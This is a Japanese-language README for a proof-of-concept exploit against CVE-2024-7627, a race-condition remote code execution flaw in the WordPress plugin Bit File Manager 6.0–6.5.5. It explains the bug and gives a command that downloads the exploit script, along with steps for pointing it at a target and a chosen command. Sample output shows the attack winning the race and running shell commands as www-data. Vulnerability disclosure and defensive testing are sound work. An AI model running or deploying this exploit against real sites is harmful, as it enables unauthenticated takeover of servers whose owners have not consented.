
WordPressプラグインBit File Managerバージョン6.0~6.5.5におけるレースコンディションを介した認証不要のリモートコード実行(CVE-2024-7627)脆弱性の概念実証スクリプト
このProof-of-Concept(PoC)スクリプトは、WordPressプラグインBit File Managerバージョン6.0~6.5.5における、競合状態を利用した認証なしリモートコード実行の脆弱性(CVE-2024-7627)に対するものです。
説明:
WordPress用プラグインBit File Managerのバージョン6.0から6.5.5では、'checkSyntax'関数を介したリモートコード実行の脆弱性があります。これは、ファイル検証を行う前に一時ファイルを一般公開ディレクトリに書き込むことに起因します。管理者がゲストユーザーの読み取り権限を許可している場合、認証されていない攻撃者がサーバー上でコードを実行できる可能性があります。(出典:https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-60-655-unauthenticated-remote-code-execution-via-race-condition)
wget https://raw.githubusercontent.com/siunam321/CVE-2024-7627-PoC/main/poc.py
file-managerが管理者によって既に設定されている必要があります。Pythonスクリプトpoc.pyのtargetBaseUrl、fileManagerPostPath、commandToExecuteを希望する値に更新してください。その後、python3 poc.pyを実行してPoCスクリプトを起動します。
出力例:
└> python3 poc.py
[*] Getting a valid AJAX nonce...
[+] Found the valid AJAX nonce: f3128b289e
[*] Getting a random file's hash via elFinder command "open"...
[+] Found file "wp-config-sample.php" with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA"!
[*] Editing file with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA" via elFinder command "put" and getting the edited temporary PHP file at "http://localhost/wp-content/uploads/file-managertemp.php"...
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[+] We won the race condition! Here's the PHP payload result:
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
8d3b2776e8a6